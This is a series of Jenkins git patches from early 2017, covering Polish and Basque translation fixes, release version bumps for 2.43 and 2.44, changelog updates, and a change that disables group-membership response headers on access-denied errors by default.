Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +description_1=Ten widok nie ma przypisanych projekt\u00F3w. +description_2=Mo\u017Cesz doda\u0107 istniej\u0105ce projekty do tego widoku lub stworzy\u0107 dla niego nowe. diff --git a/core/src/main/resources/hudson/views/BuildButtonColumn/column_pl.properties b/core/src/main/resources/hudson/views/BuildButtonColumn/column_pl.properties index 3179ca1b18..8df1d40026 100644 --- a/core/src/main/resources/hudson/views/BuildButtonColumn/column_pl.properties +++ b/core/src/main/resources/hudson/views/BuildButtonColumn/column_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2017, Sun Microsystems, Inc., Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -21,5 +21,5 @@ # THE SOFTWARE. Build_scheduled=Zadanie zosta\u0142o zaplanowane -Schedule_a_build=Dodaj zadanie do kolejki dla {0} +Schedule_a_build=Dodaj zadanie {0} do kolejki Schedule_a_build_with_parameters=Uruchom z parametrami dla {0} diff --git a/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties b/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties index 9b249a7585..4ec407750d 100644 --- a/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties +++ b/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties @@ -19,12 +19,12 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -authenticate-security-token.continue=Kontynuuj +authenticate-security-token.getting.started=Zaczynamy +authenticate-security-token.unlock.jenkins=Odblokuj Jenkinsa jenkins.install.findSecurityTokenMessage=Aby zapewni\u0107, \u017Ce Jenkins jest bezpiecznie uruchomiony przez administratora, \ -has\u0142o zosta\u0142o zapisane do pliku log\u00F3w (nie masz pewno\u015Bci, gdzie go znale\u017A\u0107?) oraz pliku na serwerze:

                                        {0}

                                        -authenticate-security-token.password.administrator=Has\u0142o administratorskie: -authenticate-security-token.password.incorrect=Has\u0142o nie jest poprawne, sprawd\u017A ponownie celem wprowadzenia poprawnego has\u0142a -authenticate-security-token.error=B\u0142\u0105d: +has\u0142o zosta\u0142o zapisane do pliku log\u00F3w (nie masz pewno\u015Bci, gdzie go znale\u017A\u0107?) oraz w pliku na serwerze:

                                        {0}

                                        authenticate-security-token.copy.password=Skopiuj has\u0142o z jednej z powy\u017Cszych lokalizacji i wklej poni\u017Cej. -authenticate-security-token.unlock.jenkins=Odblokuj Jenkinsa -authenticate-security-token.getting.started=Zaczynamy +authenticate-security-token.error=B\u0142\u0105d: +authenticate-security-token.password.incorrect=Has\u0142o nie jest poprawne, sprawd\u017A ponownie celem wprowadzenia poprawnego has\u0142a +authenticate-security-token.password.administrator=Has\u0142o administratorskie: +authenticate-security-token.continue=Kontynuuj diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties index 96c85cb8bf..cb1dbdec00 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties @@ -1,5 +1,24 @@ -# This file is under the MIT License by authors - +# The MIT License +# +# Copyright (c) 2013-2017, Kohsuke Kawaguchi, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. Enabled=W\u0142\u0105czony Environment\ Variables=Zmienne systemowe Name=Nazwa @@ -7,3 +26,5 @@ Pinned=Przypi\u0119ty Plugins=Wtyczki System\ Properties=W\u0142a\u015Bciwo\u015Bci systemu Version=Wersja +threadDump_blurb=Otw\u00F3rz t\u0119 stron\u0119, aby sprawdzi\u0107 w\u0105tki dla mastera i agent\u00F3w. +Thread\ Dumps=Zrzut w\u0105tk\u00F3w diff --git a/core/src/main/resources/lib/hudson/project/config-buildWrappers_pl.properties b/core/src/main/resources/lib/hudson/project/config-buildWrappers_pl.properties index e98932b414..790e7ac441 100644 --- a/core/src/main/resources/lib/hudson/project/config-buildWrappers_pl.properties +++ b/core/src/main/resources/lib/hudson/project/config-buildWrappers_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# Copyright (c) 2004-2017, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,4 +19,4 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Build\ Environment=\u015Arodowisko do budowania +Build\ Environment=\u015Arodowisko do uruchomienia -- GitLab From 891dad967ec4da15323722fafab7d80a5d1b504b Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 29 Jan 2017 16:36:34 -0800 Subject: [PATCH 581/712] [maven-release-plugin] prepare release jenkins-2.43 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 29594a05f8..08f2109b87 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.43-SNAPSHOT + 2.43 cli diff --git a/core/pom.xml b/core/pom.xml index 8a256f7baa..c9fb75d410 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43-SNAPSHOT + 2.43 jenkins-core diff --git a/pom.xml b/pom.xml index ce72a1bd8f..1ec7e0829b 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43-SNAPSHOT + 2.43 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.43 diff --git a/test/pom.xml b/test/pom.xml index f12b9e4fde..845b46f95f 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43-SNAPSHOT + 2.43 test diff --git a/war/pom.xml b/war/pom.xml index ccd097dfd1..8f00682155 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43-SNAPSHOT + 2.43 jenkins-war -- GitLab From e612721e0bab49af3965a8c7761b9596ab4a4964 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 29 Jan 2017 16:36:35 -0800 Subject: [PATCH 582/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 08f2109b87..aa26f4a66f 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.43 + 2.44-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index c9fb75d410..d2577beff6 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43 + 2.44-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 1ec7e0829b..b230d350e4 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43 + 2.44-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.43 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 845b46f95f..65f2cc6a7d 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43 + 2.44-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 8f00682155..282991fc10 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43 + 2.44-SNAPSHOT jenkins-war -- GitLab From 1b20e49aa7f13a0a2f812218a85f828a7fe12df2 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 29 Jan 2017 16:44:02 -0800 Subject: [PATCH 583/712] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index 781adb6a45..a3a58c9467 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes
                                      +

                                      What's new in 2.43 (2017/01/29)

                                      +
                                        +
                                      • +

                                      What's new in 2.42 (2017/01/22)

                                      • -- GitLab From d01b19118661f98d0197cdba345ac796bf1b6ac5 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 30 Jan 2017 02:11:16 +0100 Subject: [PATCH 584/712] Noting #1485 --- changelog.html | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index a3a58c9467..bc24934398 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,9 @@ Upcoming changes

                                        What's new in 2.43 (2017/01/29)

                                          -
                                        • +
                                        • + Print stack traces in logical order, with the most important part on top. + (pull 1485)

                                        What's new in 2.42 (2017/01/22)

                                          -- GitLab From 0254e02a7455cf2b9b3d4a4b5f2f8a5fba1ed022 Mon Sep 17 00:00:00 2001 From: Andrew Bayer Date: Mon, 30 Jan 2017 10:56:21 -0800 Subject: [PATCH 585/712] Reverting last remnants of #2444 from Messages --- core/src/main/resources/hudson/model/Messages.properties | 2 -- core/src/main/resources/jenkins/model/Messages.properties | 1 - 2 files changed, 3 deletions(-) diff --git a/core/src/main/resources/hudson/model/Messages.properties b/core/src/main/resources/hudson/model/Messages.properties index 70bba990cf..bcb7d2acf9 100644 --- a/core/src/main/resources/hudson/model/Messages.properties +++ b/core/src/main/resources/hudson/model/Messages.properties @@ -386,5 +386,3 @@ Jenkins.IsRestarting=Jenkins is restarting User.IllegalUsername="{0}" is prohibited as a username for security reasons. User.IllegalFullname="{0}" is prohibited as a full name for security reasons. - -Hudson.NoParamsSpecified=No Parameters are specified for this parameterized build diff --git a/core/src/main/resources/jenkins/model/Messages.properties b/core/src/main/resources/jenkins/model/Messages.properties index e178950f4e..22eb57acf7 100644 --- a/core/src/main/resources/jenkins/model/Messages.properties +++ b/core/src/main/resources/jenkins/model/Messages.properties @@ -42,7 +42,6 @@ Hudson.NotUsesUTF8ToDecodeURL=\ See Containers and \ Tomcat i18n for more details. Hudson.NodeDescription=the master Jenkins node -Hudson.NoParamsSpecified=No Parameters are specified for this parameterized build CLI.restart.shortDescription=Restart Jenkins. CLI.safe-restart.shortDescription=Safely restart Jenkins. -- GitLab From 63c67407e4449306e8dc82a6b847e8429a80e98a Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 31 Jan 2017 13:33:35 -0500 Subject: [PATCH 586/712] =?UTF-8?q?Since=20reviewers=20could=20not=20agree?= =?UTF-8?q?=20on=20a=20way=20to=20cap=20group=20headers,=20simply=20omitti?= =?UTF-8?q?ng=20them=20altogether=20by=20default.=20Test=20still=20reprodu?= =?UTF-8?q?ces=20the=20original=20issue=20when=20flag=20is=20set=20on:=20?= =?UTF-8?q?=E2=80=A6=20org.eclipse.jetty.server.HttpChannel$CommitCallback?= =?UTF-8?q?=20failed=20WARNING:=20Commit=20failed=20java.io.IOException:?= =?UTF-8?q?=20Response=20header=20too=20large=20=09at=20org.eclipse.jetty.?= =?UTF-8?q?http.HttpGenerator.generateResponse(HttpGenerator.java:402)=20?= =?UTF-8?q?=09at=20org.eclipse.jetty.server.HttpConnection$SendCallback.pr?= =?UTF-8?q?ocess(HttpConnection.java:655)=20=09at=20=E2=80=A6=20=09at=20hu?= =?UTF-8?q?dson.security.AccessDeniedHandlerImpl.handle(AccessDeniedHandle?= =?UTF-8?q?rImpl.java:57)=20=09at=20=E2=80=A6=20Caused=20by:=20java.nio.Bu?= =?UTF-8?q?fferOverflowException=20=09at=20java.nio.HeapByteBuffer.put(Hea?= =?UTF-8?q?pByteBuffer.java:189)=20=09at=20java.nio.ByteBuffer.put(ByteBuf?= =?UTF-8?q?fer.java:859)=20=09at=20org.eclipse.jetty.http.HttpGenerator.pu?= =?UTF-8?q?tTo(HttpGenerator.java:1087)=20=09at=20org.eclipse.jetty.http.H?= =?UTF-8?q?ttpGenerator.generateHeaders(HttpGenerator.java:705)=20=09at=20?= =?UTF-8?q?org.eclipse.jetty.http.HttpGenerator.generateResponse(HttpGener?= =?UTF-8?q?ator.java:387)=20=09...=2066=20more=20java.lang.AssertionError:?= =?UTF-8?q?=20expected:<403>=20but=20was:<500>=20=09at=20org.junit.Assert.?= =?UTF-8?q?fail(Assert.java:88)=20=09at=20org.junit.Assert.failNotEquals(A?= =?UTF-8?q?ssert.java:834)=20=09at=20org.junit.Assert.assertEquals(Assert.?= =?UTF-8?q?java:645)=20=09at=20org.junit.Assert.assertEquals(Assert.java:6?= =?UTF-8?q?31)=20=09at=20hudson.security.AccessDeniedException2Test.youAre?= =?UTF-8?q?InGroupHeaders(AccessDeniedException2Test.java:56)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../hudson/security/AccessDeniedException2.java | 14 ++++++-------- .../security/AccessDeniedException2Test.java | 15 +-------------- 2 files changed, 7 insertions(+), 22 deletions(-) diff --git a/core/src/main/java/hudson/security/AccessDeniedException2.java b/core/src/main/java/hudson/security/AccessDeniedException2.java index 70d119602b..722451030c 100644 --- a/core/src/main/java/hudson/security/AccessDeniedException2.java +++ b/core/src/main/java/hudson/security/AccessDeniedException2.java @@ -6,6 +6,7 @@ import org.acegisecurity.GrantedAuthority; import javax.servlet.http.HttpServletResponse; import java.io.PrintWriter; +import jenkins.util.SystemProperties; /** * {@link AccessDeniedException} with more information. @@ -13,7 +14,8 @@ import java.io.PrintWriter; */ public class AccessDeniedException2 extends AccessDeniedException { - private static final int MAX_REPORTED_AUTHORITIES = 10; + /** If true, report {@code X-You-Are-In-Group} headers. Disabled due to JENKINS-39402; use {@code /whoAmI} etc. to diagnose permission issues. */ + private static /* not final */ boolean REPORT_GROUP_HEADERS = SystemProperties.getBoolean(AccessDeniedException2.class.getName() + ".REPORT_GROUP_HEADERS"); /** * This object represents the user being authenticated. @@ -41,13 +43,9 @@ public class AccessDeniedException2 extends AccessDeniedException { */ public void reportAsHeaders(HttpServletResponse rsp) { rsp.addHeader("X-You-Are-Authenticated-As",authentication.getName()); - GrantedAuthority[] authorities = authentication.getAuthorities(); - for (int i = 0; i < authorities.length; i++) { - if (i == MAX_REPORTED_AUTHORITIES) { - rsp.addHeader("X-You-Are-In-Group", "<" + (authorities.length - i) + " more>"); - break; - } else { - rsp.addHeader("X-You-Are-In-Group", authorities[i].getAuthority()); + if (REPORT_GROUP_HEADERS) { + for (GrantedAuthority auth : authentication.getAuthorities()) { + rsp.addHeader("X-You-Are-In-Group",auth.getAuthority()); } } rsp.addHeader("X-Required-Permission", permission.getId()); diff --git a/test/src/test/java/hudson/security/AccessDeniedException2Test.java b/test/src/test/java/hudson/security/AccessDeniedException2Test.java index 7ccf1c83d5..20a6172241 100644 --- a/test/src/test/java/hudson/security/AccessDeniedException2Test.java +++ b/test/src/test/java/hudson/security/AccessDeniedException2Test.java @@ -25,11 +25,7 @@ package hudson.security; import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; -import com.gargoylesoftware.htmlunit.util.NameValuePair; import java.net.HttpURLConnection; -import java.util.ArrayList; -import java.util.List; -import org.hamcrest.Matchers; import static org.junit.Assert.*; import org.junit.Rule; import org.junit.Test; @@ -54,19 +50,10 @@ public class AccessDeniedException2Test { r.jenkins.setSecurityRealm(realm); r.jenkins.setAuthorizationStrategy(new MockAuthorizationStrategy()); try { - r.createWebClient().login("user").goTo("confgure"); + r.createWebClient().login("user"); fail("should not have been allowed to access anything"); } catch (FailingHttpStatusCodeException x) { assertEquals(HttpURLConnection.HTTP_FORBIDDEN, x.getStatusCode()); - List reportedGroups = new ArrayList<>(); - for (NameValuePair header : x.getResponse().getResponseHeaders()) { - if (header.getName().equals("X-You-Are-In-Group")) { - reportedGroups.add(header.getValue()); - } - } - assertThat("capped at a reasonable number", reportedGroups, Matchers.>allOf( - Matchers.hasSize(11), // 10 groups plus final warning - Matchers.hasItem("<991 more>"))); // 1000 + SecurityRealm.AUTHENTICATED_AUTHORITY.getAuthority() - 10 } } -- GitLab From 2db91ba506cf9ec929f6400a014dc3054b56c102 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 31 Jan 2017 20:19:21 +0100 Subject: [PATCH 587/712] Use final releases --- core/pom.xml | 2 +- pom.xml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/core/pom.xml b/core/pom.xml index a191e899c1..4c959c56eb 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -157,7 +157,7 @@ THE SOFTWARE. org.kohsuke.stapler stapler-adjunct-timeline - 1.5-20170112.000031-1 + 1.5 org.kohsuke.stapler diff --git a/pom.xml b/pom.xml index f01684c3f1..6eca811d01 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.53.5-20170111.201445-1 + 2.53.5 -- GitLab From b82fe6d2ce53af22e8807dff0c811deeb7752f85 Mon Sep 17 00:00:00 2001 From: Mikel Larreategi Date: Wed, 1 Feb 2017 10:03:34 +0100 Subject: [PATCH 588/712] fix eu translations --- .../hudson/model/AbstractBuild/index_eu.properties | 8 ++++---- .../hudson/model/AbstractBuild/tasks_eu.properties | 12 ++++++------ .../resources/hudson/model/Run/delete_eu.properties | 2 +- .../hudson/model/User/sidepanel_eu.properties | 2 +- .../hudson/model/View/People/index_eu.properties | 2 +- 5 files changed, 13 insertions(+), 13 deletions(-) diff --git a/core/src/main/resources/hudson/model/AbstractBuild/index_eu.properties b/core/src/main/resources/hudson/model/AbstractBuild/index_eu.properties index b9331070f8..005f64ba29 100644 --- a/core/src/main/resources/hudson/model/AbstractBuild/index_eu.properties +++ b/core/src/main/resources/hudson/model/AbstractBuild/index_eu.properties @@ -1,6 +1,6 @@ # This file is under the MIT License by authors -Build=fghg -Build\ Artifacts=gfhfgh -Took=fghg -startedAgo=dhgg +Build=Eraiki +Build\ Artifacts=Laguntzaileak eraiki +Took=Hartu +startedAgo=orain dela zenbat hasia diff --git a/core/src/main/resources/hudson/model/AbstractBuild/tasks_eu.properties b/core/src/main/resources/hudson/model/AbstractBuild/tasks_eu.properties index 9789ce28d1..ddd97547b6 100644 --- a/core/src/main/resources/hudson/model/AbstractBuild/tasks_eu.properties +++ b/core/src/main/resources/hudson/model/AbstractBuild/tasks_eu.properties @@ -1,8 +1,8 @@ # This file is under the MIT License by authors -Back\ to\ Project=drthdf -Changes=hgdg -Console\ Output=ghdgfh -Edit\ Build\ Information=Kompilazioaren argibidea edidatu -Status=hgfdhg -View\ Build\ Information=dhgg +Back\ to\ Project=Proiektura itzuli +Changes=Aldaketak +Console\ Output=Kontsolaren irteera +Edit\ Build\ Information=Konpilazioaren argibideak edidatu +Status=Egoera +View\ Build\ Information=Konpilazioaren egoera ikusi diff --git a/core/src/main/resources/hudson/model/Run/delete_eu.properties b/core/src/main/resources/hudson/model/Run/delete_eu.properties index 8aeecb7cf2..e2969c5d6e 100644 --- a/core/src/main/resources/hudson/model/Run/delete_eu.properties +++ b/core/src/main/resources/hudson/model/Run/delete_eu.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Delete\ this\ build=Kompilazioa ezabatu +Delete\ this\ build=Konpilazioa ezabatu diff --git a/core/src/main/resources/hudson/model/User/sidepanel_eu.properties b/core/src/main/resources/hudson/model/User/sidepanel_eu.properties index 2f485ef3a4..a8e0793ff1 100644 --- a/core/src/main/resources/hudson/model/User/sidepanel_eu.properties +++ b/core/src/main/resources/hudson/model/User/sidepanel_eu.properties @@ -4,4 +4,4 @@ Builds=Kompilazioak Configure=Itxuratu My\ Views=Nire Begiak People=Jendea -Status=Estatus +Status=Egoera diff --git a/core/src/main/resources/hudson/model/View/People/index_eu.properties b/core/src/main/resources/hudson/model/View/People/index_eu.properties index e366a8bd48..01b5e6988e 100644 --- a/core/src/main/resources/hudson/model/View/People/index_eu.properties +++ b/core/src/main/resources/hudson/model/View/People/index_eu.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -People=Gendea +People=Jendea -- GitLab From 962f56f3e76779a276b9dfec67f0207b46f1ac64 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 1 Feb 2017 14:09:27 +0100 Subject: [PATCH 589/712] Add link to future security advisory URL for 2.44 --- changelog.html | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index bc24934398..a9baf3cd4e 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,9 @@ Upcoming changes

                                          What's new in 2.43 (2017/01/29)

                                          -- GitLab From 5828e963ac26f209298c3fdfb7a3a49f2cc401d4 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 1 Feb 2017 05:31:35 -0800 Subject: [PATCH 590/712] [maven-release-plugin] prepare release jenkins-2.44 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index aa26f4a66f..bb7e636c10 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.44-SNAPSHOT + 2.44 cli diff --git a/core/pom.xml b/core/pom.xml index a3ebe1ac9b..20feeab9ab 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44-SNAPSHOT + 2.44 jenkins-core diff --git a/pom.xml b/pom.xml index 360f60ec83..352319620b 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44-SNAPSHOT + 2.44 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.44 diff --git a/test/pom.xml b/test/pom.xml index 65f2cc6a7d..ddd9681186 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44-SNAPSHOT + 2.44 test diff --git a/war/pom.xml b/war/pom.xml index 282991fc10..a219bbf3bc 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44-SNAPSHOT + 2.44 jenkins-war -- GitLab From 07f32fec4fc0990f01d1ae2ed50f6630c733a76b Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 1 Feb 2017 05:31:36 -0800 Subject: [PATCH 591/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index bb7e636c10..fb9d90f375 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.44 + 2.45-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 20feeab9ab..321ae67b51 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44 + 2.45-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 352319620b..5efa721d02 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44 + 2.45-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.44 + HEAD diff --git a/test/pom.xml b/test/pom.xml index ddd9681186..633969b424 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44 + 2.45-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index a219bbf3bc..67d9f32a82 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44 + 2.45-SNAPSHOT jenkins-war -- GitLab From 232818c93dd288526c6a470eb1c3f1483f143bb2 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 1 Feb 2017 05:38:22 -0800 Subject: [PATCH 592/712] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index 781adb6a45..1b3f5e533b 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes
                                        +

                                        What's new in 2.44 (2017/02/01)

                                        +
                                          +
                                        • +

                                        What's new in 2.42 (2017/01/22)

                                        • -- GitLab From d0cdaa06f7b9f7f094277c0a1d71972c67138217 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 1 Feb 2017 15:36:38 +0100 Subject: [PATCH 593/712] Fix changelog entries for 2.43 and 2.44 --- changelog.html | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/changelog.html b/changelog.html index 8917519456..e3d741955e 100644 --- a/changelog.html +++ b/changelog.html @@ -55,21 +55,21 @@ Upcoming changes +

                                          What's new in 2.44 (2017/02/01)

                                          - -

                                          What's new in 2.44 (2017/02/01)

                                          +

                                          What's new in 2.43 (2017/01/29)

                                          • Print stack traces in logical order, with the most important part on top. (pull 1485)
                                          -

                                          What's new in 2.43 (2017/01/29)

                                          -
                                            -

                                          What's new in 2.42 (2017/01/22)

